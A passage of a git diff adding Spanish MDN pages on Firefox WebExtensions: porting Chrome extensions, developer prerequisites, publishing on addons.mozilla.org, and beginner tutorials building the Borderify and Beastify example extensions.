+<p>Las extensiones programadas con API de WebExtensions están diseñadas para ser compatibles entre navegadores diferentes: en buena medida, esta tecnología es compatible directamente con la <a class="external external-icon" href="https://developer.chrome.com/extensions">API de extensiones</a> admitida por Google Chrome y Opera. En la mayoría de los casos, las extensiones creadas para estos navegadores se ejecutarán en Firefox con solo unas pocas modificaciones. Casi todas las <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API">API de extensiones</a> se admiten a través de funciones de devolución de llamada bajo el espacio de nombres <code>chrome</code>, al igual que Chrome. Las únicas API que no se admiten bajo el espacio de nombres <code>chrome</code> son aquellas que son deliberadamente incompatibles con Chrome. En esos casos contados, la página de documentación de la API manifestará expresamente que se admite solo en el espacio de nombres <code>browser</code>. El proceso de conversión de extensiones de Chrome u Opera es el siguiente:</p>
+
+<ol>
+ <li>Revise su utilización de funciones de manifest.json y API de WebExtensions con respecto a la <a href="/en-US/Add-ons/WebExtensions/Chrome_incompatibilities">referencia de incompatibilidades con Chrome</a>. Si está empleando funciones o API que aún no se admiten en Firefox, es posible que no pueda convertir su extensión por el momento. Mozilla ofrece un servicio que puede ayudar a automatizar este paso: <a href="https://www.extensiontest.com/">https://www.extensiontest.com/</a>.</li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Instale su extensión en Firefox</a> y póngala a prueba.</li>
+ <li>Si experimenta problemas, póngase en contacto con nosotros a través de la <a class="external external-icon" href="https://mail.mozilla.org/listinfo/dev-addons">lista de correo «dev-addons»</a> o el <a href="irc://irc.mozilla.org/webextensions">canal #webextensions</a> en <a class="external external-icon" href="https://wiki.mozilla.org/IRC">IRC</a>.</li>
+ <li><a href="/en-US/Add-ons/WebExtensions/Publishing_your_WebExtension">Envíe su complemento a AMO para su firma y distribución</a>.</li>
+</ol>
+
+<p>Si dependía de la opción de consola de Chrome para cargar extensiones no empaquetadas, eche un vistazo a la herramienta <a href="/en-US/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a>, la cual automatiza la instalación temporal en Firefox para permitir el desarrollo.</p>
+
+<ul>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/prerequisitos/index.html b/files/es/mozilla/add-ons/webextensions/prerequisitos/index.html
new file mode 100644
index 0000000000..d022940dab
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/prerequisitos/index.html
@@ -0,0 +1,17 @@
+---
+title: Prerequisitos
+slug: Mozilla/Add-ons/WebExtensions/Prerequisitos
+translation_of: Mozilla/Add-ons/WebExtensions/Prerequisites
+---
+<p>Para desarrollar usando las APIs de WebExtension, debes seguir algunos pasos antes de comenzar.</p>
+
+<ul>
+ <li>Descarga, instala, y ejecuta <a href="https://www.mozilla.org/es-ES/firefox/developer/">Firefox para Desarrolladores</a> o <a class="external text" href="https://nightly.mozilla.org/" rel="nofollow">Firefox Nightly</a>. Usa Nightly si quieres tener los últimos cambios.</li>
+ <li>Ve a la preferencia que controla la instalación de complementos no firmados. Nota que esta preferencia solo está disponible en Firefox para Desarrolladores y Firefox Nightly.
+  <ul>
+   <li>Escribe <code>about:config</code> dentro de la barra de direcciones de Firefox</li>
+   <li>En el campo de búsqueda escribe <code>xpinstall.signatures.required</code></li>
+   <li>Has doble clic sobre la preferencia, o clic derecho y escoge Modificar, para cambiarla a <code>false</code>.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/publishing_your_webextension/index.html b/files/es/mozilla/add-ons/webextensions/publishing_your_webextension/index.html
new file mode 100644
index 0000000000..ef81cd0468
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/publishing_your_webextension/index.html
@@ -0,0 +1,105 @@
+---
+title: Publicando tu extensión
+slug: Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension
+tags:
+  - AMO
+  - Addons
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Una vez que hayas acabado de modificar y testear tu extensión, es probable que quieras compartirla con el resto del mundo. Mozilla tiene una web: <a class="external external-icon" href="https://addons.mozilla.org">addons.mozilla.org</a> (comunmente abreviada como AMO), en la que los desarrolladores pueden publicar sus complementos y los usuarios pueden encontrarlos. Publicando tu extension en AMO, puedes participar en nuestra comunidad de usuarios y creadores, y encontrar una audiencia para tu extension.</p>
+
+<p>No tienes por que publicar tu extension en AMO.  De todas maneras, aunque no quieras publicarla, tendrás que enviarla a AMO para que pueda ser revisada y firmada. Las versiones oficiales de Firefox no aceptan complementos que no estén firmados por AMO.</p>
+
+<p>En resumen, este es el proceso para publicar una extensión:</p>
+
+<ol>
+ <li><a href="#1._Zip_up_your_extension's_files">Comprime los archivos de tu extension en un zip</a></li>
+ <li><a href="#2._Create_an_account_on_addons.mozilla.org">Crea una cuenta en AMO</a></li>
+ <li><a href="#3._Upload_your_zip">Sube tu zip a AMO para firmarlo y revisarlo y selecciona una opción</a></li>
+ <li><a href="#4._Fix_review_problems">Soluciona los problemas encontrados en la revisión</a></li>
+ <li><a href="#5._Publish_your_extension">Si seleccionas no publicar la extension en AMO, puedes obtener la extension firmada y publicala por tu cuenta</a></li>
+</ol>
+
+<p>Cuando estés listo para lanzar una nueva versión de tu extensión, puedes actualizarla visitando la página de la extensión en <a class="external external-icon" href="https://addons.mozilla.org">addons.mozilla.org</a>, y subiendo ahí la nueva versión. Ten en cuenta que tendrás que actualizar la página de la extensión para que AMO reconozca que es una actualización de la extensión, y no una extensión completamente nueva.</p>
+
+<p>Si seleccionas publicar tu extensión en AMO, Firefox buscará las actualizaciones automaticamente. Si seleccionas publicarla por tu cuenta, tendrás que incluir la clave <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> en tu manifest.json, con el atributo <code>update_url</code> apuntando a un <a href="/en-US/Add-ons/Updates">update manifest file</a>.</p>
+
+<div class="pull-aside">
+<div class="moreinfo">
+<p>Las extensiones empaquetadas de Firefox son "archivos XPI", que son simplemente un .ZIP con otra extensión</p>
+
+<p>No tienes que usar la extensión .XPI para subirla a AMO.</p>
+</div>
+</div>
+
+<h2 id="1._Comprime_los_archivos_en_un_zip">1. Comprime los archivos en un zip</h2>
+
+<p>En este punto tu extensión consistirá en una carpeta que contiene un manifest.json y otros archivos que necesite (scripts, iconos, documentos HTML, etc.). Necesitarás comprimir todos en un sólo .zip para poder subirlos a AMO.</p>
+
+<p>Es importante saber que el .zip deber crearse seleccionando<strong> todos los archivos de la extensión, no su carpeta contenedora</strong>.</p>
+
+<h3 id="Windows">Windows</h3>
+
+<ol>
+ <li>Abre la carpeta que contenga los archivos de tu extensión.</li>
+ <li>Selecciona todos los archivos (CTRL+E o CTRL+A, depende del idioma).</li>
+ <li>Click derecho en Enviar a → Carpeta comprimida (en zip).</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11949/install-windows.png" style="display: block; height: 576px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<h3 id="Mac_OS_X">Mac OS X</h3>
+
+<ol>
+ <li>Abre la carpeta que contenga los archivos de tu extensión.</li>
+ <li>Selecciona todos los archivos.</li>
+ <li>Click derecho y selecciona Comprimir <em>n</em> Items.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11951/install-osx.png" style="display: block; height: 449px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<div class="pull-aside">
+<div class="moreinfo">Ver <a href="http://www.info-zip.org/mans/zip.html">http://www.info-zip.org/mans/zip.html</a>.</div>
+</div>
+
+<h3 id="Linux_Mac_OS_X_Terminal">Linux / Mac OS X Terminal</h3>
+
+<ol>
+ <li><code>cd path/to/my-extension/</code></li>
+ <li><code>zip -r -FS ../my-extension.zip *</code></li>
+</ol>
+
+<div style=""> </div>
+
+<h2 id="2._Crea_una_cuenta_en_addons.mozilla.org">2. Crea una cuenta en addons.mozilla.org</h2>
+
+<p>Visita <a href="https://addons.mozilla.org/">https://addons.mozilla.org/</a>. Si ya tienes una <a href="https://support.mozilla.org/en-US/kb/access-mozilla-services-firefox-accounts">Cuenta Firefox</a>, puedes utilizarla para iniciar sesión. Si no, haz click en "Registrar" y se te exigirá crear una cuenta.</p>
+
+<h2 id="3._Sube_tu_zip">3. Sube tu zip</h2>
+
+<p>A continuación, sube la extensión comprimida a AMO para poder revisarla y firmarla, y selecciona si quieres publicarla en AMO o no. Hay un <a href="https://developer.mozilla.org/en-US/Add-ons/Distribution/Submitting_an_add-on">tutorial</a> disponible para guiarte durante el proceso de envío. Sería conveniente que también veas <a href="https://developer.mozilla.org/es/Add-ons/Distribution#Enviando_a_AMO">Enviando a AMO</a> para más detalles sobre el proceso.</p>
+
+<div class="note">
+<p>Ten en cuenta que una vez que hayas subido la extensión a AMO no podrás actualizarla para usar el Add-on SDK o técnicas XUL/XPCOM. Si decides cambiar a una de estas plataformas, tendrás que enviar la extensión de nuevo como si de una nueva extensión se tratase.</p>
+
+<p>En otras palabras: portar a partir de sistemas de extensiones heredadas para usar APIs WebExtension es un camino de ida.</p>
+
+<p>Antes de subirla, asegurate de que el ZIP contiene sólo los archivos necesarios para la extensión.</p>
+</div>
+
+<h2 id="4._Soluciona_los_problemas_detectados_en_la_revisión">4. Soluciona los problemas detectados en la revisión</h2>
+
+<p>En cuanto subas la aplicación, el servidor AMO realizará varios tests básicos y te notificará inmediatamente de cualquier problema. Los problemas se dividen en dos categorías: "errors" y "warnings". Si tienes errores, tienes que arreglarlos y reenviar la extensión. Si sólo tienes avisos, conviene solucionarlos, pero no es obligatorio. Puedes continuar.</p>
+
+<p>Si el comprobador automático no detecta ningún error, la extensión pasará por una revisión más exhaustiva. Serás contactado con los resultados de la revisión. En caso de tener errores tendrás que solucionarlos e intentarlo de nuevo.</p>
+
+<p>Si has selccionado que la extensión esté hosteada en AMO, este es el final del proceso de publicación. AMO firmará la extensión y la publicará, tras esto los usuarios ya podrán descargarla e instalarla.</p>
+
+<h2 id="5._Publica_tu_extensión">5. Publica tu extensión</h2>
+
+<p>Si seleccionas no publicarla en AMO, obten la extensión firmada y públicala por tu cuenta.</p>
+
+<p> </p>
diff --git a/files/es/mozilla/add-ons/webextensions/que_son_las_webextensions/index.html b/files/es/mozilla/add-ons/webextensions/que_son_las_webextensions/index.html
new file mode 100644
index 0000000000..eca9f0ff30
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/que_son_las_webextensions/index.html
@@ -0,0 +1,59 @@
+---
+title: ¿Qué son las extensiones?
+slug: Mozilla/Add-ons/WebExtensions/Que_son_las_WebExtensions
+tags:
+  - WebExtensions
+  - extensiones
+translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Una extensión agrega características y funciones a un explorador. Se ha creado utilizando tecnologías basadas en Web conocidas: HTML, CSS y JavaScript. Puede aprovechar las mismas API Web que JavaScript en una página web, pero una extensión también tiene acceso a su propio conjunto de APIs de JavaScript. Esto significa que puede hacer mucho más en una extensión de lo que puede con el código en una página web. Estos son sólo algunos ejemplos de las cosas que puedes hacer:</p>
+
+<p><strong>Mejore o complemente un sitio</strong>: Use un Add-on para ofrecer funciones adicionales en el navegador o información de su sitio Web. Permita a los usuarios recopilar detalles de las páginas que visitan para mejorar el servicio que ofrecen.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15808/Amazon_add_on.png"></p>
+
+<p><strong>Ejemplos:</strong> <a href="https://addons.mozilla.org/en-US/firefox/addon/amazon-browser-bar/">El asistente de Amazon para Firefox</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/onenote-clipper/">OneNote Web Clipper</a> y <a href="https://addons.mozilla.org/en-US/firefox/addon/grammarly-1/">Grammarly para Firefox</a></p>
+
+<p><strong>Permita que los usuarios demuestren su personalidad</strong>: Las extensiones del navegador pueden manipular el contenido de las páginas; por ejemplo, permite a los usuarios agregar su logo favorito o imágen como un fondo de pantalla acada página que visitan. Las extensiones permiten también al usuario actualizar el aspecto de la IU de Firefox, de la misma manera que lo hacen los <a href="https://developer.mozilla.org/es/docs/Temas/Theme_concepts">complementos de temas</a>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15809/MyWeb_New_Tab_add_on.png" style="height: 398px; width: 540px;"></p>
+
+<p><strong>Ejemplos:</strong> <a href="https://addons.mozilla.org/en-US/firefox/addon/myweb-new-tab/">MyWeb New Tab</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/tabliss/">Tabliss</a> y <a href="https://addons.mozilla.org/en-US/firefox/addon/vivaldifox/">VivaldiFox</a></p>
+
+<p><strong>Agregar o quitar contenido de las páginas web</strong>: es posible que desee ayudar a los usuarios a bloquear los anuncios intrusivos de las páginas web, proporcionar acceso a una guía de viajes siempre que un país o ciudad se menciona en una página web, o reformatear el contenido de la página para ofrecer una experiencia de lectura consistente. Con la capacidad de acceder y actualizar tanto HTML como CSS de una página, las extensiones pueden ayudar a los usuarios a ver la Web de la manera que quieren.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15807/ublock_origin_add_on.png" style="height: 480px; width: 640px;"></p>
+
+<p><strong>Ejemplos:</strong> <a href="https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/">Origen uBlock</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/reader/">Lector</a> y <a href="https://addons.mozilla.org/en-US/firefox/addon/toolbox-google-play-store/">Caja de Herramientas para Google Play Store™</a></p>
+
+<p><strong>Agregar herramientas y nuevas funciones de navegación</strong>: añada nuevas funciones a un taskboard o genere imágenes de código QR a partir de URLs, hipervínculos o texto de página. Con opciones de interfaz de usuario flexibles y la potencia de las <a href="https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions">APIs de WebExtensions</a>, puede añadir fácilmente nuevas funcionalidades a un navegador. Usted puede realzar casi cualquier característica o funcionalidad de sitios web, no tiene que ser su web.</p>
+
+<p><strong><img alt="" src="https://mdn.mozillademos.org/files/15806/QR_Code_Image_Generator_add_on.png"></strong></p>
+
+<p><strong>Ejemplos: <a href="https://addons.mozilla.org/en-US/firefox/addon/qr-code-image-generator/">QR Code Image Generator</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/swimlanes-for-trello/">Swimlanes for Trello</a>, y <a href="https://addons.mozilla.org/en-US/firefox/addon/tomato-clock/">Tomato Clock</a></strong></p>
+
+<p><strong>Juegos</strong>: ofrecer juegos de ordenador tradicionales, con características de juego fuera de línea, pero también explorar nuevas posibilidades de juego, por ejemplo, mediante la incorporación de gameplay en la navegación cotidiana.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15805/Asteroids_in_Popup_add_on%20.png" style="height: 438px; width: 700px;"></p>
+
+<p>Ejemplos: <a href="https://addons.mozilla.org/en-US/firefox/addon/asteroids-in-popup/">Asteroids in Popup</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/solitaire-card-game-new-tab/">Solitaire Card Game New Tab</a>, and <a href="https://addons.mozilla.org/en-US/firefox/addon/2048-prime/">2048 Prime</a>.</p>
+
+<p><strong>Agregar herramientas de desarrollo</strong>: puede proporcionar herramientas de desarrollo web como su negocio o ha desarrollado una técnica útil o un enfoque para el desarrollo web que desea compartir. De cualquier manera, puede mejorar las herramientas de desarrollo de Firefox incorporadas añadiendo una nueva ficha a la barra de herramientas del desarrollador.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15804/aXe_Developer_Tools_add_on.png" style="height: 261px; width: 700px;"></p>
+
+<p><strong>Ejemplos:</strong> <a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/">Web Developer</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/react-devtools/">Web React Developer Tools</a>, and <a href="https://addons.mozilla.org/en-US/firefox/addon/axe-devtools/">aXe Developer Tools</a></p>
+
+<p>Las extensiones para Firefox se construyen utilizando las <a href="https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions">APIs de WebExtensions</a>, un sistema multi-navegador para desarrollar extensiones. En gran medida, la API es compatible con la <a class="external external-icon" href="https://developer.chrome.com/extensions">extension API</a> soportada por Google Chrome y Opera. Extensiones escritas para estos navegadores en la mayoría de los casos se ejecutan en Firefox o Microsoft Edge con sólo unos pocos <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">cambios</a>. La API es también totalmente compatible con los <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox">multiprocesos de Firefox</a>.</p>
+
+<p>Si tiene ideas o preguntas, o necesita ayuda para migrar un Add-on heredado a las APIs de WebExtensions, puede comunicarse con nosotros en el<a class="external external-icon" href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons mailing list</a> o en <a href="irc://irc.mozilla.org/extdev">#extdev</a> en <a class="external external-icon" href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+
+<h2 id="¿Qué_sigue">¿Qué sigue?</h2>
+
+<ul>
+ <li>Para recorrer el desarrollo de una simple extensión, vea <a href="https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/Tu_primera_WebExtension">Tu primera extensión</a>.</li>
+ <li>Aprende sobre la estructura de una extensión en <a href="https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/Anatomia_de_una_WebExtension">anatomía de una extensión</a>.</li>
+ <li>Pruebe algunos ejemplos de extensiones en <a href="https://developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/Examples">Extensiones de ejemplo</a>.</li>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/tu_primera_webextension/index.html b/files/es/mozilla/add-ons/webextensions/tu_primera_webextension/index.html
new file mode 100644
index 0000000000..d444b69f88
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/tu_primera_webextension/index.html
@@ -0,0 +1,160 @@
+---
+title: Tu primera extensión
+slug: Mozilla/Add-ons/WebExtensions/Tu_primera_WebExtension
+tags:
+  - Guía
+  - WebExtension
+translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
+---
+<div>{{AddonSidebar}}</div>
+
+<div class="blockIndicator note">
+<p>Si estás familiarizado/a con los conceptos básicos de las extensiones de navegador, omite esta sección y ve a <a href="https://wiki.developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">cómo se ponen juntos los archivos</a>. Entonces, usa la <a href="https://wiki.developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions#Reference">documentación de referencia</a> para empezar a construir tu extensión. Visita el <a href="https://extensionworkshop.com/?utm_source=developer.mozilla.org&amp;utm_medium=documentation&amp;utm_campaign=your-first-extension">Firefox Extension Workshop</a> para aprender más sobre el flujo de trabajo para probar y publicar extensiones para Firefox.</p>
+</div>
+
+<p>En este artículo abordaremos la creación de una extensión para Firefox, desde el comienzo hasta el final. La extensión solo agrega un borde rojo a cualquiera de las páginas cargadas desde "mozilla.org" o cualquiera de sus subdominios.</p>
+
+<p>El código fuente de este ejemplo se encuentra en GitHub: <a href="https://github.com/mdn/webextensions-examples/tree/master/borderify">https://github.com/mdn/webextensions-examples/tree/master/borderify</a>.</p>
+
+<p>Primero, necesitas tener instalado Firefox versión 45 o superior.</p>
+
+<h2 id="Escribiendo_la_extensión">Escribiendo la extensión</h2>
+
+<p>Crea una nuevo directorio y navega a él. Por ejemplo, en tu línea de comandos/terminal se hace de esta manera:</p>
+
+<pre class="brush: bash notranslate">mkdir borderify
+cd borderify</pre>
+
+<h3 id="manifest.json">manifest.json</h3>
+
+<p>Ahora crearemos un archivo  nuevo llamado "manifest.json" directamente en la carpeta "borderify". Añádale el siguiente contenido:</p>
+
+<pre class="brush: json notranslate">{
+
+  "manifest_version": 2,
+  "name": "Borderify",
+  "version": "1.0",
+
+  "description": "Agrega un borde rojo a todas las páginas web de mozilla.org.",
+
+  "icons": {
+    "48": "icons/border-48.png"
+  },
+
+  "content_scripts": [
+    {
+      "matches": ["*://*.mozilla.org/*"],
+      "js": ["borderify.js"]
+    }
+  ]
+
+}</pre>
+
+<ul>
+ <li>Los primeros 3 parámetros:<code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/manifest_version">manifest_version</a></code>, <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/name">name</a></code>, y <code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/version">version</a></code>, son obligatorios, y contienen metadatos básicos para la extensión.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/description">description</a></code> es opcional, pero se recomienda: Se muestra en el Administrador de Add-ons.</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/icons">icons</a></code> es opcional, pero recomendado: permite especificar un ícono para la extensión, se mostrará en el Administrador de Add-ons.</li>
+</ul>
+
+<p>El parámetro más interesante aquí es <code><a href="/es/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code>, el cual le dice a Firefox que cargue el script en las páginas Web, cuyas URL coincidan con un patrón especifico. En este caso, le estamos pidiendo a Firefox que cargue el script llamado "borderify.js" en todas las paginas HTTP o HTTPS cargadas desde "mozilla.org" o cualquiera de sus subdominios.</p>
+
+<ul>
+ <li><a href="/es/Add-ons/WebExtensions/Content_scripts">Aprenda más acerca de los scripts contenidos.</a></li>
+ <li><a href="/es/Add-ons/WebExtensions/Match_patterns">Aprenda más acerca de los patrones coincidentes</a>.</li>
+</ul>
+
+<div class="warning">
+<p><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID#When_do_you_need_an_Add-on_ID">En algunas situaciones usted necesita especificar un ID para su extensión</a>. Si necesita especificar un ID para el complemento, incluya el parámetro <code><a href="/es/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> en el <code>manifest.json</code> y configure la propiedad <code>gecko.id</code>:</p>
+
+<pre class="brush: json notranslate">"applications": {
+  "gecko": {
+    "id": "borderify@example.com"
+  }
+}</pre>
+</div>
+
+<h3 id="iconsborder-48.png">icons/border-48.png</h3>
+
+<p>La extensión debería tener un ícono. Este se mostrará junto al listado de extensiones en el Administrador de Add-ons. Nuestro manifest.json promete que tendremos un ícono  en el directorio "icons/border-48.png".</p>
+
+<p>Crea el directorio "icons" dentro de la carpeta "borderify". Almacena ahí el icono y nómbralo "border-48.png". Puedes utilizar <a href="https://github.com/mdn/webextensions-examples/blob/master/borderify/icons/border-48.png">el de nuestro ejemplo</a>, el cual se obtuvo a partir del Google Material Design iconset, y es utilizado bajo los términos de la licencia <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-ShareAlike</a>.</p>
+
+<p>Si eliges emplear tu propio icono, este debe ser de 48x48 pixeles. También puedes aplicar un icono de 96x96 pixeles, para resoluciones mayores, y si haces esto, se especifica como la propiedad <code>96</code> en el objeto icons del manifest.json:</p>
+
+<pre class="brush: json notranslate">"icons": {
+  "48": "icons/border-48.png",
+  "96": "icons/border-96.png"
+}</pre>
+
+<p>Alternativamente, puedes aplicar un archivo SVG ahí, y este se escalará apropiadamente. (Aunque: si usas SVG y tu icono incluye texto, puedes usar la herramienta "convert to path" del editor SVG para aplanar el texto, de modo que se escalone con un tamaño/posición coherente).</p>
+
+<ul>
+ <li><a href="/es/Add-ons/WebExtensions/manifest.json/icons">Aprender mas acerca de la especificación de iconos.</a></li>
+</ul>
+
+<h3 id="borderify.js">borderify.js</h3>
+
+<p>Finalmente, crea un archivo de nombre "borderify.js" directamente en el directorio "borderify". Y déjale el siguiente contenido:</p>
+
+<pre class="brush: js notranslate">document.body.style.border = "5px solid red";</pre>
+
+<p>Este script se cargara en las páginas que coincidan con el patrón dado en el parámetro <code>content_scripts</code> del archivo manifest.json. El script tiene acceso directo al documento, de la misma manera que los scripts cargados por la propia página.</p>
+
+<ul>
+ <li><a href="/es/Add-ons/WebExtensions/Content_scripts">Aprender más acerca de los scripts de contenido.</a></li>
+</ul>
+
+<h2 id="Probándolo">Probándolo</h2>
+
+<p>Primero, verifica que tienes todos los archivos en su lugar:</p>
+
+<pre class="notranslate">borderify/
+    icons/
+        border-48.png
+    borderify.js
+    manifest.json</pre>
+
+<h3 id="Instalación">Instalación</h3>
+
+<p>Abre "about:debugging" en Firefox, da click en "Cargar complemento temporal" y selecciona cualquier archivo en el directorio de la extensión:</p>
+
+<p>{{EmbedYouTube("cer9EUKegG4")}}</p>
+
+<p>La extensión se encontrará instalada, y lo estará hasta que reinicies Firefox.</p>
+
+<p>Alternativamente, puede ejecuturar la extensión desde la línea de comandos utilizando la herramienta <a href="/es/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">web-ext</a>.</p>
+
+<h3 id="Probando">Probando</h3>
+
+<p>Ahora pruebe visitando una página bajo "mozilla.org", y usted verá el borde rojo alrededor de la página:</p>
+
+<p>{{EmbedYouTube("rxBQl2Z9IBQ")}}</p>
+
+<div class="note">
+<p>No lo intentes en addons.mozilla.org! Los scripts de contenido están actualmente bloqueados en ese dominio.</p>
+</div>
+
+<p>Experimenta un poco. Edita el contenido del script para cambiar el color del borde, o haz algo más en el contenido de la página. Si actualizas el script de contenido, recarga los archivos de la extensión haciendo clic en el botón "Recargar" en about:debugging. Podrás ver los cambios en el momento:</p>
+
+<p>{{EmbedYouTube("NuajE60jfGY")}}</p>
+
+<ul>
+ <li><a href="/es/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Aprende más sobre cómo recargar las extensiones</a></li>
+</ul>
+
+<h2 id="Empaquetar_y_publicar">Empaquetar y publicar</h2>
+
+<p>Para que otras personas puedan utilizar tu extensión, necesitas empaquetarlo y enviarlo a Mozilla para que lo firmen. Para que aprendas más sobre eso, mira <a href="/es/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension">"Publicando tu extension"</a>.</p>
+
+<h2 id="¿Qué_sigue">¿Qué sigue?</h2>
+
+<p>Ahora que tienes una idea acerca del proceso de desarrollo de una WebExtension para Firefox, continúa con:</p>
+
+<ul>
+ <li><a href="/es/Add-ons/WebExtensions/Your_second_WebExtension">escribe una extensión más compleja</a></li>
+ <li><a href="/es/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">leer más acerca de la anatomía de una extensión</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/Examples">explora los ejemplos de extensiones</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/What_next_">encuentra lo que necesitas para desarrollar, probar y publicar tu extensión</a></li>
+ <li><a href="/es/Add-ons/WebExtensions/API">leer acerca de las APIs de JavaScript disponibles para las extensiones.</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/es/docs/Mozilla/Add-ons/WebExtensions/What_next_#Continue_your_learning_experience">lleva tu aprendizaje más lejos</a></li>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/tutorial/index.html b/files/es/mozilla/add-ons/webextensions/tutorial/index.html
new file mode 100644
index 0000000000..559320eca0
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/tutorial/index.html
@@ -0,0 +1,459 @@
+---
+title: Tu segunda extensión
+slug: Mozilla/Add-ons/WebExtensions/Tutorial
+tags:
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Si ya ha visto el artículo <a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Tu_primera_WebExtension">tu primer extensión</a>, ya posee una idea de como escribir una extensión. En este artículo se escribirá una extensión ligeramente más compleja para demostrar un par de cosas más de las APIs.</p>
+
+<p>La extensión añade un nuevo botón a la barra de herramientas de Firefox. Cuando el usuario da clic sobre el botón, mostraremos una ventana emergente que permite escoger un animal. Una vez que un animal sea escogido, reemplazaremos todas las imágenes en la página actual con la imagen del animal seleccionado.</p>
+
+<p>Para implementar esto, haremos lo siguiente:</p>
+
+<ul>
+ <li><strong>Definir una <a href="/es/Add-ons/WebExtensions/user_interface/Browser_action">acción del navegador</a>, que será el botón añadido a la barra de herramientas de Firefox</strong>.<br>
+  Para el botón vamos a proporcionar:
+  <ul>
+   <li>un icono, llamado "beasts-32.png"</li>
+   <li>una ventana emergente para abrir cuando el botón sea presionado. La  ventana emergente incluye HTML, CSS y JavaScript.</li>
+  </ul>
+ </li>
+ <li><strong>Define un ícono para la extensión,</strong> llamado "beasts-48.png". Este será mostrado en el Administrador de Complementos.</li>
+ <li><strong>Escribe un script de contenido, "beastify.js" que será inyectado dentro de las páginas web.</strong><br>
+  Este es el código que modificará las páginas web.</li>
+ <li><strong>Empaqueta algunas imágenes de animales, para reemplazar las imágnes de la página web</strong>.<br>
+  Nosotros haremos las imágenes "recursos web accesibles" para que la página web pueda referenciarlos.</li>
+</ul>
+
+<p>Tu puedes notar que la estructura general de la extensión luce como esto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13671/Untitled-1.png" style="display: block; height: 1200px; margin-left: auto; margin-right: auto; width: 860px;"></p>
+
+<p>Esta es una extensión simple, pero muestra muchos de los principales conceptos de la API WebExtensions:</p>
+
+<ul>
+ <li>Adicionando un botón a la barra de herramientas</li>
+ <li>Definiendo un panel emergente usando HTML, CSS y JavaScript</li>
+ <li>Inyectando scripts de contenido dentro de las páginas web</li>
+ <li>Comunicándonos entre los scripts de contenido y el resto de la extensión</li>
+ <li>Empaquetando recursos con tu extensión que pueden ser usados por las páginas web</li>
+</ul>
+
+<p>Tu puedes encontrar el <a href="https://github.com/mdn/webextensions-examples/tree/master/beastify">código fuente completo de la extensión en GitHub</a>.</p>
+
